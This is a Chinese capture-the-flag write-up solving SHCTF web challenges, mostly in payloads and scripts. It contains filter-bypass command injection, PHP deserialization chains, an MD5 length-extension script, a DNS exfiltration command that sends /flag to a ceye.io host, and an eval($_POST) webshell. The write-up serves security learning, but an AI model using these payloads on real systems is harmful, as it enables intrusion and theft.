SHCTF-web题解

WEEK1

babyrce

源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}

分析

看这一段正则表达式,过滤了一堆,但是没有过滤转移符号 \ ,可以通过c\at来绕过,过滤了空格,可以利用${IFS}来代替,

没有过滤ls,那么可以直接利用rce=ls 发现有两个文件

flag.php 和 index.php

利用rce=c\at${IFS}fl\ag.php,打印出flag.php ,查看源码

1
2
3
4
5
<?php
$flag = getenv('GZCTF_FLAG');
if($flag=="not_flag" or $flag==""){
$flag="dzctf{test_flag}";
}

这是个假的flag,那么就去查看根目录

rce=ls${IFS}/

发现flag文件

payload

rce=c\at${IFS}/fl\ag 得到flag

这里的转移字符 \ 还能替换为$@

1zzphp

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
$code = (String)$_POST['c_ode'];
$num=$_GET['num'];
if(preg_match("/[0-9]/", $num))
{
die("no number!");
}
elseif(intval($num))
{
if(preg_match('/.+?SHCTF/is', $code))
{
die('no touch!');
}
if(stripos($code,'2023SHCTF') === FALSE)
{
die('what do you want');
}
echo $flag;
}
}

分析

首先利用正则表达式无法处理数组,返回false,绕过第一个正则表达式

intval() 转换数组类型时,不关心数组中的内容,只判断数组中有没有元素

  • 「空数组」返回 0
  • 「非空数组」返回 1

所以此处传参 num[]=1

第二处通过搜索正则表达式的漏洞,得知此处的漏洞为正则回溯

且看这条博客 PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户

“c_ode”:’a’*1000000+’2023SHCTF’

简单来说就是在这个正则中 preg_match('/.+?SHCTF/is', $code) 匹配以 “SHCTF” 结尾的最短字符串,前面需要有东西,那么就会从头开始回溯,有100w个a,回溯了100w次,然后超过了最大限度,导致正则返回了false,从而绕过

脚本

1
2
3
4
5
6
7
import requests
url="http://112.6.51.212:31710/?num[]=1"
data = {
"c_ode":'a'*1000000+'2023SHCTF'
}
r=requests.post(url,data=data)
print(r.text)

ezphp

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{
$pattern=$_POST['pattern'];
if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code))
{
$code=$_GET['code'];
preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);
echo "you are smart";
}else{
die("try again");
}
}else{
die("it is begin");
}
?>

分析

这里主要部分是

preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);

$code 位一串字符 $pattern为正则的匹配模式,print_r(“\1”)’ 是替换的字符串,其中 “\1” 表示捕获分组中的内容,即匹配到的部分。print_r() 函数用于打印输出。

这里表示在正则表达式匹配到的code中的部分会转到print_r()中执行,并且输出

payload

1
2
3
4
pattern=\S*
//在正则中表示匹配任何非空白字符(包括字母、数字和符号),且可以有零个、一个或多个这样的字符
code=${phpinfo()}
//在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)

得到phpinfo()页面后,查找flag即可

WEEK2

serialize

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
highlight_file(__FILE__);
class misca{
public $gao;
public $fei;
public $a;
public function __get($key){
$this->miaomiao();
$this->gao=$this->fei;
die($this->a);
}
public function miaomiao(){
$this->a='Mikey Mouse~';
}
}
class musca{
public $ding;
public $dong;
public function __wakeup(){
return $this->ding->dong;
}
}
class milaoshu{
public $v;
public function __tostring(){
echo"misca~musca~milaoshu~~~";
include($this->v);
}
}
function check($data){
if(preg_match('/^O:\d+/',$data)){
die("you should think harder!");
}
else return $data;
}
unserialize(check($_GET["wanna_fl.ag"]));

分析

1
通过 musca类中的 __wakeup方法 触发misca类中的 __get方法,利用__get方法中的die($this->a);触发milaoshu类中的__tostring方法
1
2
3
4
5
6
$x = new musca();    //反序列化时触发__wakeup
$x->ding = new misca(); //利用return $this->ding->dong;就是要找misca中的dong属性,但是不存在由此触发__get方法
$x->ding->gao= &$x->ding->a; //利用引用绕过函数miaomiao()对于misca类中属性a的赋值操作,以此使die能够触发__tostring
$x->ding->fei=new milaoshu();
//$this->gao=$this->fei;那么$this->gao=new milaoshu(),因为gao和a的值是一样的,所以a=new milaoshu();
//那么die($this->a)就会成功触发milaoshu中的__tostring

接下来是这个正则表达式的绕过

1
2
3
4
5
6
7
8
9
10
11
 if(preg_match('/^O:\d+/',$data)){
die("you should think harder!");
}

/*
有两种绕过方法
1.对于原本序列化的结果在 O:后放上+号,如 O:5:"flag" 变成 O:+5:"flag"
2.在序列化时候,利用数组 如:$b=serialize(array($x));
第一种方法在php版本过高的时候无法使用

*/

有两种绕过方法

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
highlight_file(__FILE__);

class misca{
public $gao;
public $fei;
public $a;


}
class musca{
public $ding;
public $dong;

}
class milaoshu{
public $v='php://filter/read=convert.base64-encode/resource=flag.php';

}
$x = new musca();
$x->ding = new misca();
$x->ding->gao= &$x->ding->a;
$x->ding->fei=new milaoshu();

$b=serialize(array($x));
echo "<br>";
echo ($b);
echo "<br>";
echo urlencode(serialize($b));

MD5的事就拜托了

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){
extract(parse_url($_POST['SHCTF']));
if($$$scheme==='SHCTF'){
echo(md5($flag));
echo("</br>");
}
if(isset($_GET['length'])){
$num=$_GET['length'];
if($num*100!=intval($num*100)){
echo(strlen($flag));
echo("</br>");
}
}
}
if($_POST['SHCTF']!=md5($flag)){
if($_POST['SHCTF']===md5($flag.urldecode($num))){
echo("flag is".$flag);
}
}

分析

parse_urlextract是PHP语言中的两个函数,用于处理URL和关联数组的操作。

首先,让我们来介绍一下parse_url函数。parse_url函数用于解析一个URL并返回其组成部分的关联数组。它接受一个URL作为参数,并将其解析为以下几个部分:scheme(协议),host(主机名),port(端口),user(用户名),pass(密码),path(路径),query(查询参数)和fragment(片段标识符)。例如,如果我们有以下URL:

1
$url = "https://www.example.com/path/to/page?param1=value1&param2=value2#section";

利用parse_url函数可得到

1
2
3
4
5
6
7
8
9
10
11
12
13

$url = "https://www.example.com/path/to/page?param1=value1&param2=value2#section";
$parsedUrl = parse_url($url);
$parsedUrl将包含以下关联数组:
Array
(
[scheme] => https
[host] => www.example.com
[path] => /path/to/page
[query] => param1=value1&param2=value2
[fragment] => section
)

extract函数用于将关联数组的键值对转换为变量和相应的值。这样就可以直接通过变量名访问数组中的值

如果变量已存在,则会将其覆盖

1
2
3
4
5
6
7
extract($parsedUrl)
可以使得数组中的键值对转换为变量和相应的值
$scheme=https
$host =www.example.com
$path = /path/to/page
$query = param1=value1&param2=value2
$fragment = section

那么此处的payload

1
2
3
4
5
6
if($$$scheme==='SHCTF'){
echo(md5($flag));
echo("</br>");
}
POST传参
SHCTF=host://fragment/%23SHCTF

可以得到$flag的md5值

1
2
3
$num*100!=intval($num*100)
//这里intval只会获取整数部分,因此只需要传入一个三位小数就可以
length=1.111

由此可以得到flag的长度

1
2
3
4
5
if($_POST['SHCTF']!=md5($flag)){
if($_POST['SHCTF']===md5($flag.urldecode($num))){
echo("flag is".$flag);
}
}

此处的$_POST['SHCTF']===md5($flag.urldecode($num)) 考点为md5拓展长度攻击,后面的脚本只需要把flag的md5值赋值给res

然后随便给extend赋值即可,待脚本运行完之后,找到flag长度对应的执行结果即可

1
2
3
4
5
6
[42] 2f56e8716ed4b3d6a9822c6bcf010432
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%50%01%00%00%00%00%00%00abc
这里或许是你需要的结果,那么这里使
length=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%50%01%00%00%00%00%00%00abc
SHCTF=2f56e8716ed4b3d6a9822c6bcf010432
即可

最后,建议你将md5加密的原理搞懂

参考链接:从一个题目到hash扩展攻击 - 先知社区 (aliyun.com)
MD5的Hash长度扩展攻击 - leej0 - 博客园 (cnblogs.com)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
import math


F = lambda x, y, z: ((x & y) | ((~x) & z))
G = lambda x, y, z: ((x & z) | (y & (~z)))
H = lambda x, y, z: (x ^ y ^ z)
I = lambda x, y, z: (y ^ (x | (~z)))
L = lambda x, n: (((x << n) | (x >> (32 - n))) & (0xffffffff))
shi_1 = (7, 12, 17, 22) * 4
shi_2 = (5, 9, 14, 20) * 4
shi_3 = (4, 11, 16, 23) * 4
shi_4 = (6, 10, 15, 21) * 4
m_1 = (0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15)
m_2 = (1, 6, 11, 0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12)
m_3 = (5, 8, 11, 14, 1, 4, 7, 10, 13, 0, 3, 6, 9, 12, 15, 2)
m_4 = (0, 7, 14, 5, 12, 3, 10, 1, 8, 15, 6, 13, 4, 11, 2, 9)


def T(i):
return (int(4294967296 * abs(math.sin(i)))) & 0xffffffff


def shift(shift_list):
shift_list = [shift_list[3], shift_list[0], shift_list[1], shift_list[2]]
return shift_list


def fun(fun_list, f, m, shi):
count = 0
global Ti_count
while count < 16:
xx = int(fun_list[0], 16) + f(int(fun_list[1], 16), int(fun_list[2], 16), int(fun_list[3], 16)) + int(m[count], 16) + T(Ti_count)
xx &= 0xffffffff
ll = L(xx, shi[count])
fun_list[0] = hex((int(fun_list[1], 16) + ll) & 0xffffffff)
fun_list = shift(fun_list)
count += 1
Ti_count += 1
return fun_list


def gen_m16(order, ascii_list, f_offset):
ii = 0
m16 = [0] * 16
f_offset *= 64
for i in order:
i *= 4
m16[ii] = '0x' + ''.join((ascii_list[i + f_offset] + ascii_list[i + 1 + f_offset] + ascii_list[i + 2 + f_offset] + ascii_list[i + 3 + f_offset]).split('0x'))
ii += 1
for ind in range(len(m16)):
m16[ind] = reverse_hex(m16[ind])
return m16


def reverse_hex(hex_str):
hex_str = hex_str[2:]
if len(hex_str) < 8:
hex_str = '0' * (8 - len(hex_str)) + hex_str
hex_str_list = []
for i in range(0, len(hex_str), 2):
hex_str_list.append(hex_str[i:i + 2])
hex_str_list.reverse()
hex_str_result = '0x' + ''.join(hex_str_list)
return hex_str_result


def show_result(f_list):
result = ''
f_list1 = [0] * 4
for i in f_list:
f_list1[f_list.index(i)] = reverse_hex(i)[2:]
result += f_list1[f_list.index(i)]
return result


def padding(input_m, msg_lenth=0):
ascii_list = list(map(hex, map(ord, input_m)))
msg_lenth += len(ascii_list) * 8
ascii_list.append('0x80')
for i in range(len(ascii_list)):
if len(ascii_list[i]) < 4:
ascii_list[i] = '0x' + '0' + ascii_list[i][2:]
while (len(ascii_list) * 8 + 64) % 512 != 0:
ascii_list.append('0x00')
msg_lenth_0x = hex(msg_lenth)[2:]
msg_lenth_0x = '0x' + msg_lenth_0x.rjust(16, '0')
msg_lenth_0x_big_order = reverse_hex(msg_lenth_0x)[2:]
msg_lenth_0x_list = []
for i in range(0, len(msg_lenth_0x_big_order), 2):
msg_lenth_0x_list.append('0x' + msg_lenth_0x_big_order[i: i + 2])
ascii_list.extend(msg_lenth_0x_list)
return ascii_list


def md5(input_m):
global Ti_count
Ti_count = 1
abcd_list = ['0x67452301', '0xefcdab89', '0x98badcfe', '0x10325476']
ascii_list = padding(input_m)
for i in range(0, len(ascii_list) // 64):
aa, bb, cc, dd = abcd_list
order_1 = gen_m16(m_1, ascii_list, i)
order_2 = gen_m16(m_2, ascii_list, i)
order_3 = gen_m16(m_3, ascii_list, i)
order_4 = gen_m16(m_4, ascii_list, i)
abcd_list = fun(abcd_list, F, order_1, shi_1)
abcd_list = fun(abcd_list, G, order_2, shi_2)
abcd_list = fun(abcd_list, H, order_3, shi_3)
abcd_list = fun(abcd_list, I, order_4, shi_4)
output_a = hex((int(abcd_list[0], 16) + int(aa, 16)) & 0xffffffff)
output_b = hex((int(abcd_list[1], 16) + int(bb, 16)) & 0xffffffff)
output_c = hex((int(abcd_list[2], 16) + int(cc, 16)) & 0xffffffff)
output_d = hex((int(abcd_list[3], 16) + int(dd, 16)) & 0xffffffff)
abcd_list = [output_a, output_b, output_c, output_d]
Ti_count = 1
print(ascii_list)
return show_result(abcd_list)


# md5-Length Extension Attack: 计算 md5(message + padding + suffix), res = md5(message), len_m = len(message)
def md5_lea(suffix, res, len_m):
global Ti_count
Ti_count = 1
abcd_list = []
for i in range(0, 32, 8):
abcd_list.append(reverse_hex('0x' + res[i: i + 8]))
# print(abcd_list)
ascii_list = padding(suffix, (len_m + 72) // 64 * 64 * 8) # len(message + padding) * 8
# print(ascii_list)
for i in range(0, len(ascii_list) // 64):
aa, bb, cc, dd = abcd_list
order_1 = gen_m16(m_1, ascii_list, i)
order_2 = gen_m16(m_2, ascii_list, i)
order_3 = gen_m16(m_3, ascii_list, i)
order_4 = gen_m16(m_4, ascii_list, i)
abcd_list = fun(abcd_list, F, order_1, shi_1)
abcd_list = fun(abcd_list, G, order_2, shi_2)
abcd_list = fun(abcd_list, H, order_3, shi_3)
abcd_list = fun(abcd_list, I, order_4, shi_4)
output_a = hex((int(abcd_list[0], 16) + int(aa, 16)) & 0xffffffff)
output_b = hex((int(abcd_list[1], 16) + int(bb, 16)) & 0xffffffff)
output_c = hex((int(abcd_list[2], 16) + int(cc, 16)) & 0xffffffff)
output_d = hex((int(abcd_list[3], 16) + int(dd, 16)) & 0xffffffff)
abcd_list = [output_a, output_b, output_c, output_d]
Ti_count = 1
# print(ascii_list)
return show_result(abcd_list)

def url_append(hex_bit):
len_append = '0x{}{}'.format( (18-len(hex_bit))*'0', hex_bit[2:])
len_append = reverse_hex(len_append)[2:]
# print(len_append)
t = ''
for i in range(len(len_append)):
if i % 2 ==0 :
t += '%'+len_append[i:i+2]
else:
pass
return t

if __name__ == '__main__':
'''
修改res为已知哈希值
extend 为拓展值
自动遍历出1-30长度的payload url编码表达式
'''
#需要修改的两个参数↓
res = 'bbe1e63d48782c113f2494145a5379f6'
extend = 'abc'
# print(reverse_hex('0x' + res))

for i in range(45):
hex_bit = hex(i*8)
t = url_append(hex_bit)
print('[%d]' % i,md5_lea(extend,res,i))
# print('{}%80{}{}{}'.format('X'*i, (55-i)*'%00',t, extend) )
print('%80{}{}{}'.format((55-i)*'%00',t, extend) )
# print('{}{}'.format( hex(i), (18-len(hex(i)))*'0') )
# from urllib.parse import unquote
# print(md5_lea('kingkk','571580b26c65f306376d4f64e53cb5c7',10))

ez_rce

附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from flask import *
import subprocess

app = Flask(__name__)

def gett(obj,arg):
tmp = obj
for i in arg:
tmp = getattr(tmp,i)
return tmp

def sett(obj,arg,num):
tmp = obj
for i in range(len(arg)-1):
tmp = getattr(tmp,arg[i])
setattr(tmp,arg[i+1],num)

def hint(giveme,num,bol):
c = gett(subprocess,giveme)
tmp = list(c)
tmp[num] = bol
tmp = tuple(tmp)
sett(subprocess,giveme,tmp)

def cmd(arg):
subprocess.call(arg)


@app.route('/',methods=['GET','POST'])
def exec():
try:
if request.args.get('exec')=='ok':
shell = request.args.get('shell')
cmd(shell)
else:
exp = list(request.get_json()['exp'])
num = int(request.args.get('num'))
bol = bool(request.args.get('bol'))
hint(exp,num,bol)
return 'ok'
except:
return 'error'

if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)

分析

subprocess.call()

需要了解到一个问题subprocess.call()默认参数shell为false

1
2
3
4
5
6
7
8
9
10
11
12
13
+++++++++++++(2)'shell''True''False'的区别+++++++++++++

1)shell='True'参数会让subprocess.run接受'字符串类型''列表'的变量作为命令,并'调用shell''解释''执行'这个字符串

['ls', '-l'] 或 'ls -l'

2)shell='False'时["默认值"],subprocess.run只'接受数组变量'作为命令

only ['ls', '-l']

特点:将'列表(list)''第一个(first)'元素作为命令,'剩下'的全部作为'该命令'的参数

补充:官方'不推荐'使用shell=True

也就是说在这里面我们需要使得subprocess.call()的参数shell=True,这样我们就能利用字符串进行命令执行

getattr函数

getattr()函数是Python的内置函数之一,用于获取对象的属性值或方法。

语法如下:

1
getattr(object, name[, default])

参数解释:

  • object:表示要获取属性或方法的对象。
  • name:表示要获取的属性或方法的名称。
  • default(可选):表示如果对象没有指定的属性或方法时,返回的默认值。

使用示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Person:
def __init__(self, name, age):
self.name = name
self.age = age

def say_hello(self):
print(f"Hello, my name is {self.name}.")

person = Person("Alice", 25)

name = getattr(person, 'name') #name = person.name 方便你理解
print(name) # 输出:Alice

age = getattr(person, 'age') #age=person.age
print(age) # 输出:25

say_hello = getattr(person, 'say_hello')#say_hello= person.sqy_hello
say_hello() # 输出:Hello, my name is Alice.

# 当对象没有指定的属性时,可以设置默认值
gender = getattr(person, 'gender', 'unknown')#gender = person.gender.unknown 最后的结果就是person类中unknown的值
print(gender) # 输出:unknown

gett函数

obj 是一个示例对象,属性名称列表 arg['a', 'b', 'c'] 时,gett(obj, arg) 将返回 obj.a.b.c 的值。下面是一个实际的例子:

假设有一个 Person 类,其中包含了 nameaddressage 三个属性。我们创建一个 Person 对象,并将其赋值给 obj 变量:

1
2
3
4
5
6
7
8
class Person:
def __init__(self, name, address, age):
self.name = name
self.address = address
self.age = age

person = Person("Alice", "123 Main St", 30)
obj = person

现在,我们要获取 obj.name.address 的值,即 person.name.addressobj 的属性链是 name -> address)。我们可以使用 gett() 函数来实现:

1
2
value = gett(obj, ['name', 'address']) #obj.name.address 也就是obj对象中address的值
print(value)

输出结果将是:

1
123 Main St

因为 person.name.address 的值就是 "123 Main St"

sett函数

当调用 sett() 函数时,它将根据参数中的对象(obj)、属性名称列表(arg)和要设置的属性值(num),动态地设置该对象的属性值。

下面是一个示例:

假设有一个 Person 类,其中包含了 nameaddressage 三个属性。我们创建一个 Person 对象,并将其赋值给 obj 变量:

1
2
3
4
5
6
7
8
class Person:
def __init__(self, name, address, age):
self.name = name
self.address = address
self.age = age

person = Person("Alice", "123 Main St", 30)
obj = person

现在,我们要将 obj.address 的值修改为 "456 Main St"。我们可以使用 sett() 函数来实现:

1
sett(obj, ['address'], "456 Main St")

此时,obj.address 的值已经发生变化:

1
print(obj.address)  # 输出结果为 "456 Main St"

开始解题

修改默认参数

那么我们首当其冲的就是需要更改subprocess.call()的默认参数

subprocess.py文件中,call()函数定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def call(*popenargs, timeout=None, **kwargs):
"""Run command with arguments. Wait for command to complete or
timeout, then return the returncode attribute.

The arguments are the same as for the Popen constructor. Example:

retcode = call(["ls", "-l"])
"""
with Popen(*popenargs, **kwargs) as p:
try:
return p.wait(timeout=timeout)
except:
p.kill()
p.wait()
raise

我们可以看到,该函数接受与Popen()函数相同的参数,并且还提供了timeout参数用于设置超时时间。在Popen()函数的定义中,shell参数在定义中的位置为shell=False。因此,在没有指定shell参数时,默认情况下为False

subprocess.call()的默认参数是由subprocess.Popen决定的,那么我们需要修改subprocess.Popen的参数

1
2
3
__init__是Python中类的一个特殊方法,用于初始化实例对象。对于`subprocess.Popen`这个类来说,它定义了执行子进程的功能。

__defaults__是函数对象的一个属性,它是一个元组,包含了函数的默认参数值。这个属性存储在`__init__`方法上,表示`Popen()`函数的默认参数。通过访问`subprocess.Popen.__init__.__defaults__`,我们可以获取到这些默认参数值。

也就是说,我们需要利用gett、sett、hint三个函数来构造出

1
subprocess.Popen.__init__.__defaults__=特定的元组

使得shell变成True

payload1

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

data = {
"exp": ["Popen", "__init__", "__defaults__"]
}
params = {
'num': "7",
'bol': True
}
r = requests.post('http://112.6.51.212:31644/', json=data, params=params)
print("请求头是:", r.request.headers)
print("请求体是:", r.request.body)
print(r.text)

接下来我们就可以进行命令执行了,但是我们发现这个环境只有error和ok两种回显,也就是说,这道题属于无回显rce

利用DNS带外攻击,可以参考这一篇

带外攻击OOB(RCE无回显骚思路总结)-腾讯云开发者社区-腾讯云 (tencent.com)

payload2

1
2
3
4
5
6
7
8
9
10
11
import requests
import json

params = {
'exec': "ok",
'shell': "ping -c 3 `cat /flag`.xxxxx.ceye.io" #xxxxx部分为注册后给你的Identifie
}
r = requests.get('http://112.6.51.212:32938/', params=params)
print("请求头是:", r.request.headers)
print("请求体是:", r.request.body)
print(r.text)

先执行payload1,实现subprocess.call()默认参数的修改,然后再利用payload2实现系统命令的执行,最后在CEYE - Monitor service for security testing中查看你的flag

WEEK3

快问快答

就python脚本吧

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import time
import requests
import re

cookie = ''
d = ''
num = 0

k = 0
re1 = re.compile(r'<form method="POST">(?P<name>.*?)</h3>', re.S) #re.S用于防止换行符的干扰
re2 = re.compile(r'session=(?P<cookie>.*?);')
re3 = re.compile(r'\d+')
url = "http://112.6.51.212:30510/"
heards = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0"
}
data = {
"answer": 1
}
cookie_id = {
"session": ""
}
session = requests.Session()
session.get(url)

time.sleep(1)

resp = session.post(url, data=data, headers=heards)
session.close()

while k < 52:

b = resp.headers

c = (b['Set-Cookie'])

rea = re2.finditer(c)
for i in rea:
cookie = i.group("cookie")
cookie_id[session] = cookie

a = resp.text

print(a)
reb = re1.finditer(a)

for i in reb:
d = i.group("name")
print(d)

rec = re3.finditer(d)
if '+' in d:
arr = []
for i in rec:
arr.append(eval(i.group()))
num = arr[1] + arr[2]
if '-' in d:
arr = []
for i in rec:
arr.append(eval(i.group()))
num = arr[1] - arr[2]
if 'x' in d:
arr = []
for i in rec:
arr.append(eval(i.group()))
num = arr[1] * arr[2]
if '÷' in d:
arr = []
for i in rec:
arr.append(eval(i.group()))
num = arr[1] / arr[2]
if '异或' in d:
arr = []
for i in rec:
arr.append(eval(i.group()))
num = arr[1] ^ arr[2]
if '与' in d:
arr = []
for i in rec:
arr.append(eval(i.group()))
num = arr[1] & arr[2]

print(f"我的num是:{num}")
data["answer"] = int(num)
time.sleep(1)
resp = session.post(url, data=data, headers=heards, cookies=cookie_id)

num = 0
k += 1

sseerriiaalliizzee

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
error_reporting(0);
highlight_file(__FILE__);

class Start{
public $barking;
public function __construct(){
$this->barking = new Flag;
}
public function __toString(){
return $this->barking->dosomething();
}
}

class CTF{
public $part1;
public $part2;
public function __construct($part1='',$part2='') {
$this -> part1 = $part1;
$this -> part2 = $part2;

}
public function dosomething(){
$useless = '<?php die("+Genshin Impact Start!+");?>';
$useful= $useless. $this->part2;
file_put_contents($this-> part1,$useful);
}
}
class Flag{
public function dosomething(){
include('./flag,php');
return "barking for fun!";

}
}

$code=$_POST['code'];
if(isset($code)){
echo unserialize($code);
}
else{
echo "no way, fuck off";
}
?>
没办法,滚蛋

有时间再分析吧

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
error_reporting(0);
highlight_file(__FILE__);

class Start{
public $barking;
public function __construct(){
$this->barking = new Flag;
}
public function __toString(){
echo "wocoa";
return $this->barking->dosomething();
}
}

class CTF{
public $part1;
public $part2;
public function __construct($part1='',$part2='') {
$this -> part1 = $part1;
$this -> part2 = $part2;

}
public function dosomething(){
echo "老弟成功了";
$useless = '<?php die("+Genshin Impact Start!+");?>';
$useful= $useless. $this->part2;
file_put_contents($this-> part1,$useful);
}
}
class Flag{
public function dosomething(){
include('./flag,php');
return "barking for fun!";

}
}
$a = new Start();#1
$a->barking = new CTF();#2
$a->barking->part1='php://filter/convert.base64-decode/resource=flag.php';#3
$a->barking->part2='aaPD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=';#4
echo urlencode(serialize($a));#第一次运行后传参,然后注释掉2 3 4,只执行1,再传参数,再进入flag.php文件,执行命令即可

$code=serialize($a);
if(isset($code)){
echo unserialize($code);
}
else{
echo "no way, fuck off";
}

Donate
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2024 John Doe
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信